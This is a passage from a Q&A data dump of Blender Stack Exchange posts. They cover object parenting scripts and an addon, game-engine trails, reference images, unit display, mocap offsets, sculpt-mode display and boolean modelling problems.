  <row Id="31444" PostTypeId="1" CreationDate="2015-05-25T13:04:28.520" Score="2" ViewCount="970" Body="&lt;p&gt;Is there a shortcut to make several selected objects children of a new empty object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be so handy, instead of always doing a new empty and moving it somewhere and then parenting all objects to it.&lt;/p&gt;&#xA;" OwnerUserId="14595" LastEditorUserId="5113" LastEditDate="2015-05-25T13:50:36.157" LastActivityDate="2015-05-25T17:59:11.637" Title="Make several (same level) objects children of new empty?" Tags="&lt;scripting&gt;&lt;objects&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31445" PostTypeId="2" ParentId="31444" CreationDate="2015-05-25T13:18:51.587" Score="1" Body="&lt;p&gt;Here is a script that create an empty and make it a parent for all selected objects, select the objects and run the script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;selected_obj = bpy.context.selected_objects.copy()&#xA;bpy.ops.object.empty_add()&#xA;for obj in selected_obj :&#xA;    obj.parent = bpy.context.object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the script at the end is in an addon for reuse , install it and you can trigger it with pressing &lt;kbd&gt;P&lt;/kbd&gt;, you can change this in the user preferences :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the objects&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;P&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;select the Empty &lt;strong&gt;&lt;em&gt;type&lt;/em&gt;&lt;/strong&gt; ( axis, arrow, cube ...)&lt;/li&gt;&#xA;&lt;li&gt;select the empty &lt;strong&gt;&lt;em&gt;position&lt;/em&gt;&lt;/strong&gt; ( world center, median point, at cursor, active object )&lt;/li&gt;&#xA;&lt;li&gt;check &lt;strong&gt;&lt;em&gt;parent inverse&lt;/em&gt;&lt;/strong&gt; if you want to set the inverse&lt;/li&gt;&#xA;&lt;li&gt;you can set the name of the empty in &lt;strong&gt;&lt;em&gt;name&lt;/em&gt;&lt;/strong&gt; field&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;&lt;img src=&quot;https://i.stack.imgur.com/m6jPB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;&quot;name&quot;: &quot;Add a parent&quot;,&#xA;&quot;author&quot;: &quot;Chebhou&quot;,&#xA;&quot;version&quot;: (1, 0),&#xA;&quot;blender&quot;: (2, 65, 0),&#xA;&quot;description&quot;: &quot;Adds a parent for the selected objects&quot;,&#xA;&quot;category&quot;: &quot;Object&quot;}&#xA;&#xA;&#xA;import bpy&#xA;import sys&#xA;from bpy.props import BoolProperty, EnumProperty, StringProperty&#xA;&#xA;def add_parent(self, context):&#xA;    selected_obj = bpy.context.selected_objects.copy()&#xA;    if self.position != 'None' :&#xA;        exec(&quot;bpy.ops.view3d.snap_cursor_to_%s()&quot;%self.position)&#xA;    bpy.ops.object.empty_add(type = self.type)&#xA;    bpy.context.object.name = self.name&#xA;    inv_mat = bpy.context.object.matrix_world.inverted()&#xA;    for obj in selected_obj :&#xA;        obj.parent = bpy.context.object&#xA;        if self.inverse :&#xA;            obj.matrix_parent_inverse = inv_mat&#xA;&#xA;class AddParent(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Create a new parent&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.add_parent&quot;&#xA;    bl_label = &quot;Add a parent&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    type  = EnumProperty(&#xA;        name=&quot;empty type&quot;,&#xA;        description=&quot;choose the empty type&quot;,&#xA;        items=(('PLAIN_AXES', &quot;Axis&quot;, &quot;Axis&quot;),&#xA;                ('ARROWS', &quot;Arrows&quot;, &quot;Arrows&quot;),&#xA;                ('SINGLE_ARROW', &quot;Single arrow&quot;, &quot;Single arrow&quot;),&#xA;                ('CIRCLE', &quot;Circle&quot;, &quot;Circle&quot;),&#xA;                ('CUBE', &quot;Cube&quot;, &quot;Cube&quot;),&#xA;               ('SPHERE', &quot;Sphere&quot;, &quot;Sphere&quot;),&#xA;               ('CONE', &quot;Cone&quot;, &quot;Cone&quot;)),&#xA;        default='PLAIN_AXES'&#xA;        )&#xA;&#xA;    inverse = BoolProperty(                        &#xA;                name = &quot;parent inverse&quot;,                          &#xA;                default = 0,                &#xA;                description = &quot;check to set the inverse&quot;&#xA;                )&#xA;&#xA;&#xA;    position  = EnumProperty(&#xA;                name=&quot;parent position&quot;,&#xA;                description=&quot;where to create the parent&quot;,&#xA;                items=(('center', &quot;World center&quot;, &quot;World center&quot;),&#xA;                       ('None', &quot;Cursor position&quot;, &quot;Cursor position&quot;),&#xA;                       ('selected', &quot;Median point&quot;, &quot;Median position&quot;),&#xA;                       ('active', &quot;Active object position&quot;, &quot;Active position&quot;),),&#xA;                default='center'&#xA;                )&#xA;&#xA;    name      = StringProperty(&#xA;                name =&quot;name&quot;,&#xA;                default =&quot;Parent&quot;)&#xA;&#xA;    def execute(self, context):&#xA;        add_parent(self, context)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;addon_keymaps = []&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(AddParent)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    kc = wm.keyconfigs.addon&#xA;    if kc:&#xA;        km = wm.keyconfigs.addon.keymaps.new(name='Object Mode', space_type='EMPTY')&#xA;        kmi = km.keymap_items.new(AddParent.bl_idname, 'P', 'PRESS')# you can chnge the shortcut later&#xA;        addon_keymaps.append((km, kmi))&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(AddParent)&#xA;&#xA;    for km, kmi in addon_keymaps:&#xA;        km.keymap_items.remove(kmi)&#xA;    addon_keymaps.clear()&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/chebhou/Add-Empty-Parent/archive/master.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;link to Addon file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-25T17:59:11.637" LastActivityDate="2015-05-25T17:59:11.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31446" PostTypeId="2" ParentId="31444" CreationDate="2015-05-25T13:24:56.263" Score="0" Body="&lt;p&gt;without the ops:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;context = bpy.context&#xA;scene = context.scene&#xA;objects = bpy.data.objects&#xA;&#xA;selected_objects = context.selected_objects.copy()&#xA;mt = objects.new('parent_empty', None)&#xA;scene.objects.link(mt)&#xA;&#xA;for o in selected_objects:&#xA;    o.parent = mt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd need to wrap this in operator /addon code so you could trigger it from a shortcut or menu, permanently..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Templates for Operators can be found in: &lt;em&gt;TextEditor -&gt; Templates -&gt; Python -&gt; Operator Simple&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-25T13:56:59.493" LastActivityDate="2015-05-25T13:56:59.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31447" PostTypeId="1" AcceptedAnswerId="31455" CreationDate="2015-05-25T13:40:17.527" Score="1" ViewCount="397" Body="&lt;p&gt;I've tried do to draw a curve with the bge module, assuming I have a list of locations :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range(1, len(positions) - 1):&#xA;    bge.render.drawLine(positions[i - 1], positions[i], (1, 0, 0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the following doesn't work at all. What is wrong with this ?&#xA;This is the piece of code I've written, and I'd like to be able to draw the trajectory of the object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;own = bge.logic.getCurrentController().owner&#xA;scene = bge.logic.getCurrentScene()&#xA;own[&quot;positions&quot;] = []&#xA;own.applyForce((1, 1, 1), 0)&#xA;own[&quot;positions&quot;].append(own.worldPosition)&#xA;for i in range(1, len(own[&quot;positions&quot;]) - 1):&#xA;    bge.render.drawLine(own[&quot;positions&quot;][i - 1], own[&quot;positions&quot;][i], (1, 0, 0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed the script according to Chebhou's answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;own = bge.logic.getCurrentController().owner&#xA;scene = bge.logic.getCurrentScene()&#xA;if &quot;positions&quot; not in own :&#xA;    own[&quot;positions&quot;] = []&#xA;own.applyForce((1, 1, 1), 0)&#xA;own[&quot;positions&quot;].append(own.worldPosition.copy())&#xA;for i in range(1, len(own[&quot;positions&quot;]) - 1):&#xA;    bge.render.drawLine(own[&quot;positions&quot;][i - 1], own[&quot;positions&quot;][i], (1, 0, 0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14219" LastEditorUserId="14219" LastEditDate="2015-05-25T17:25:40.663" LastActivityDate="2015-05-25T17:25:40.663" Title="Make a trail inside the bge" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31448" PostTypeId="2" ParentId="8187" CreationDate="2015-05-25T14:44:25.493" Score="7" Body="&lt;p&gt;I first created my bone chain and the path I wanted my bone chain to follow. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/0FK5w.png&quot; alt=&quot;Bone chain and first path&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I added another bezier curve with the same length than the armature and one vertex for each bone head or tail. By pressing &quot;V&quot;, I turned the handle type first to &quot;Automatic&quot; and then to &quot;Vector&quot;. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/EYUDH.png&quot; alt=&quot;Editing the second curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I selected the last bone of the chain and added under the bone constraint panel a &quot;Spline IK&quot; constraint, targeting the second curve (Length 3, Y Stretch).&#xA;At last, I added a &quot;Curve&quot; modifier to the second curve, targeting the first one as shown on the picture. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/d6Ps1.png&quot; alt=&quot;Adding a &amp;quot;Curve&amp;quot; modifier&quot;&gt;&#xA;Don't forget to select the right deformation axis (in my example &quot;Z&quot;) and to check &quot;Apply this and all preceding deformation modifiers on splines' points rather than on filled curve/surface&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, by moving the curve along the Z-axis, the bone chain moves along the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a perfect solution since the Spline IK is deforming the first bone (don't know why) and since the curve modifier is also modifying a bit the length of the second curve, but it worked pretty well for what I needed, and I hope this will help.&lt;/p&gt;&#xA;" OwnerUserId="14599" LastEditorUserId="2217" LastEditDate="2015-05-25T15:44:49.153" LastActivityDate="2015-05-25T15:44:49.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31449" PostTypeId="1" CreationDate="2015-05-25T15:03:14.500" Score="4" ViewCount="5886" Body="&lt;p&gt;So I've just started using Blender (2.74) and wanted to use a reference image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I made a reference image in Adobe Illustrator and saved it as JPG, then dragged into blender. It's not visible, even though I am in Orthographic Mode (Yes, I've tried googling it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also gone to &quot;properties&quot; and enabled background image, and I have tried changing the axis of the image and then changed the camera to the axis. I could of course make a plane and place the image there, but it would be anoying every time I go into wireframe mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's extremely frustrating! Can anyone help me out? Thanks for reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Wy6Iw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wy6Iw.png&quot; alt=&quot;blender 3D view with no background image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14600" LastEditorUserId="2217" LastEditDate="2015-05-25T15:41:49.810" LastActivityDate="2016-12-23T11:10:54.133" Title="My reference image won't show!" Tags="&lt;image&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="1" ClosedDate="2016-12-23T19:06:31.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="31450" PostTypeId="2" ParentId="31449" CreationDate="2015-05-25T15:19:29.420" Score="2" Body="&lt;p&gt;Setting to &lt;em&gt;All Views&lt;/em&gt;, means all &lt;a href=&quot;https://www.blender.org/manual/getting_started/basics/navigating/3d_view.html#perspective-and-orthographic-views&quot; rel=&quot;nofollow noreferrer&quot;&gt;'isoplane' views (Top, Left, Right etc)&lt;/a&gt;. Not free floating rotated. From the image (the blue pixels shown by the 3d icon bottom left in the 3d view) we can see that the view is slightly rotated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pqYxs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;a href=&quot;https://www.blender.org/manual/getting_started/basics/navigating/3d_view.html#perspective-and-orthographic-views&quot; rel=&quot;nofollow noreferrer&quot;&gt;numpad keys to get an isoplane view&lt;/a&gt;. You need to be in one of the &lt;em&gt;Top, Front, Left, Right, Bottom, or Back&lt;/em&gt; views to see the background image, and in Orthographic mode. It doesn't make much practical sense to be able to see the background image while in perspective or rotated view, because we use those images as a reference to a known plane.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-25T17:38:17.060" LastActivityDate="2015-05-25T17:38:17.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31451" PostTypeId="2" ParentId="31449" CreationDate="2015-05-25T15:20:50.457" Score="5" Body="&lt;p&gt;Reference images are visible when you are in orthographic top, down, back, front, right or left view. The shortkeys are, respectively: &lt;kbd&gt;Numpad 7&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt;, &lt;kbd&gt;Numpad 1&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 1&lt;/kbd&gt;, &lt;kbd&gt;Numpad 3&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 3&lt;/kbd&gt;. And also in camera view &lt;kbd&gt;Numpad 0&lt;/kbd&gt;, with thanks to cegaton :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-05-25T16:32:02.300" LastActivityDate="2015-05-25T16:32:02.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31452" PostTypeId="1" CreationDate="2015-05-25T15:38:38.430" Score="11" ViewCount="3787" Body="&lt;p&gt;How can I get more digits in the user interface for modeling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course we can scale up the scene always, but that is just annoying, I like to work in millimeters for example which is possible with the Metric settings in blender, but the UI only shows floating point up to 3 digits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of improving this? Especially the scale in the transform property tab only shows 3 digits, that's annoying :-)&lt;/p&gt;&#xA;" OwnerUserId="14595" LastEditorDisplayName="user1853" LastEditDate="2015-05-25T17:27:54.287" LastActivityDate="2021-02-06T12:52:03.533" Title="How to show more digits in blender when working at a small scale" Tags="&lt;units&gt;&lt;measurement&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31453" PostTypeId="2" ParentId="31438" CreationDate="2015-05-25T15:40:01.363" Score="2" Body="&lt;p&gt;One option is to press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to play the animation in reverse, but I think you mean the following (this works for relatively short and simple simulations, else it would take to much time):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake the simulation to keyframes&#xA;&lt;img src=&quot;https://i.stack.imgur.com/p0Fhu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open graph editor and make sure every keyframe is selected&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ONtnC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to duplicate keyframes and then &lt;kbd&gt;X&lt;/kbd&gt; to shift the keyframes horizontally&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Us77b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;kbd&gt;Left Mousebutton&lt;/kbd&gt; to confirm and then &lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;X&lt;/kbd&gt; then &lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;, to invert the keyframes&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bZSD4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the simulation end frames&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pH3oT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-05-25T16:33:30.967" LastActivityDate="2015-05-25T16:33:30.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31454" PostTypeId="1" AcceptedAnswerId="31461" CreationDate="2015-05-25T15:52:08.110" Score="1" ViewCount="4190" Body="&lt;p&gt;I have a mocap animation that i want to blend into my Idle pose at both of the ends. The problem is, this animation has its root (Hips bone in this case) in different position, lower, to be exact:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6RI44.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what happens when it blends between Idle position:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JBSCR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to offset position of this mocap animation, so it would not sink into the ground? The Hips bone needs to be lifted up, but i don't know how to offset it with whole animation. Here is my .blend file with this scene:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/36228&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36228&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2015-05-25T18:27:38.923" Title="How to offset root position of an animation?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31455" PostTypeId="2" ParentId="31447" CreationDate="2015-05-25T16:27:42.583" Score="0" Body="&lt;p&gt;positions variable is being cleared at every execution of the script by the line &lt;code&gt;own[&quot;positions&quot;] = []&lt;/code&gt; to prevent this replace that line with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if 'positions' not in own :&#xA;    own[&quot;positions&quot;] = []&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Edit :&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;The position list was not extended properly it was taking pointers to the object position to fix this replace &lt;code&gt;own[&quot;positions&quot;].append(own.position)&lt;/code&gt; with &lt;code&gt;own[&quot;positions&quot;].append(own.position.copy())&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-25T17:19:34.343" LastActivityDate="2015-05-25T17:19:34.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31456" PostTypeId="2" ParentId="31452" CreationDate="2015-05-25T17:00:05.667" Score="11" Body="&lt;p&gt;In the Units section, select not only metric, but change the scale to .001 to work in milimiters instead of meters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ZDJa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to work numerically in a very small scale then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uk5YG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing operations using keyboard shortcuts works now at the scale you've set, meaning that if you want to move something 2mm in the X axis, for example, you'd press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make navigating and manipulation easier, remember to set the scale of the 3D viewport as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dp7wm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-25T17:18:18.973" LastActivityDate="2015-05-25T17:18:18.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31457" PostTypeId="1" AcceptedAnswerId="31458" CreationDate="2015-05-25T17:45:18.443" Score="1" ViewCount="5307" Body="&lt;p&gt;I'm not sure why but my plane isn't showing any vertices or faces in sculpt mode. I'm trying to sculpt terrain, so I created a plane, and subdivided the surface, then applied that subdivision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I enter sculpt mode, it only shows the outline, although the sculpting changes take effect. How do I see the individual faces of the object and why aren't they showing up automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ui6i.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1506" LastActivityDate="2015-05-25T17:50:44.107" Title="Sculpt mode not showing the vertices/faces of a mesh?" Tags="&lt;modeling&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31458" PostTypeId="2" ParentId="31457" CreationDate="2015-05-25T17:50:44.107" Score="1" Body="&lt;p&gt;In the &lt;strong&gt;Properties&lt;/strong&gt; area in the &lt;strong&gt;Object&lt;/strong&gt; tab under the &lt;strong&gt;Display&lt;/strong&gt; panel check &lt;strong&gt;Draw all edges&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/81Dzr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-25T17:50:44.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31459" PostTypeId="1" CreationDate="2015-05-25T18:02:40.957" Score="3" ViewCount="1245" Body="&lt;p&gt;I have been having problems with blender recently where I will open a new project and all of a sudden I can rotate or pan. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can still zoom and the issue usually just stops after I change views a couple of times, however today I opened a new file and the problem won't go away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a 3 button mouse, and these are my user preferences:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iH2eN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14604" LastEditorUserId="919" LastEditDate="2018-02-05T19:05:01.257" LastActivityDate="2018-02-05T19:05:01.257" Title="I can't rotate or pan but I can zoom" Tags="&lt;modeling&gt;&lt;interface&gt;&lt;customization&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31461" PostTypeId="2" ParentId="31454" CreationDate="2015-05-25T18:22:07.597" Score="2" Body="&lt;p&gt;In your mocap animation, Make sure your active action is set to the mocap action, either by selecting it in the dope sheet - action editor mode, or in the NLA editor, select the strip and hit &lt;code&gt;tab&lt;/code&gt; to turn it green (this is known as tweak mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change into the graph editor, and select the hip bone. Hide and lock all but the z-location channel. Select all channels (&lt;code&gt;a&lt;/code&gt; key) which should only select the z-location and &quot;grab&quot; (by pressing the &lt;code&gt;g&lt;/code&gt; key) the channels in the positive &quot;y&quot; aka up direction (constrain to up-down motion by pressing &lt;code&gt;y&lt;/code&gt; after &lt;code&gt;g&lt;/code&gt;) and adjust its z direction for all key-frames to one that lines up with the ground plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind I usually work with the dope sheet when working with 1 action because if you edit the animation, it may not always update the NLA strip. I think some of the interface inconsistencies in blender show here and are actively being worked on (eg. the tweak mode which is new in blender 2.74ish)&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="4960" LastEditDate="2015-05-25T18:27:38.923" LastActivityDate="2015-05-25T18:27:38.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31462" PostTypeId="2" ParentId="31441" CreationDate="2015-05-25T19:36:06.617" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Suggestion. Select armature in object mode. Go to  start frame 02. Insert Key frame rotation.  Go to end frame 08. Rotate armature on Z-axis. Insert key frame rotation. Test Animation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider watching a tutorial video on a video website.  There are some really useful introductory tutorials on the web.  Search Blender Tutorial Keyframes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-25T19:49:59.223" LastActivityDate="2015-05-25T19:49:59.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31463" PostTypeId="2" ParentId="31429" CreationDate="2015-05-25T19:45:25.507" Score="1" Body="&lt;p&gt;It looks like you have all the layers enabled here which is not quite as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hide all the layers. After that, use the buttons to enable Arm IK Left and Arm IK Right. Make sure the IK / FK slider is set to IK. If you are not sure which is which, try both. Maybe that will solve your problem. The slider is located in your viewport in screenshot #1 and #2 on the right panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure Auto-IK is &lt;strong&gt;disabled&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the bone properties panel, ensure the rotation on XYZW is not &quot;Locked&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like the IK / FK slider is your issue. It's the reason why your mesh does not deform when you move the IK part of the Armature. It could also be the cause for it's inability to rotate.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-05-25T19:45:25.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31464" PostTypeId="1" CreationDate="2015-05-25T19:49:48.893" Score="1" ViewCount="3095" Body="&lt;p&gt;In Cycles, I would like to make a metal object have a shiny, glossy material. The only thing is, other object's colors reflect off of this metal object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make it glossy, but not reflect any other colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="9583" LastActivityDate="2015-05-27T17:47:54.117" Title="Make object glossy, but not reflect other object's colors?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31466" PostTypeId="1" CreationDate="2015-05-25T21:02:14.673" Score="1" ViewCount="669" Body="&lt;p&gt;I tried to make Hair for a Character, by using the new skin modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/44KOl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applied to the Mesh, this produces an object with intersected Faces. I also use subdivision surface modifier with level 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zjbw8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I separated all different segments into independent objects. What I wanted to do is to apply boolean Modifiers and union all of those into a non-self-intersecting Object, which I need for 3D printing.&#xA;This works for almost all hair segments. But some boolean Unions behave like a boolean Difference. And vice versa. And in a few cases no Operation provides the needed Result. In this case, the segment just &quot;vanishes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HkhhD.png&quot; alt=&quot;enter image description here&quot;&gt; 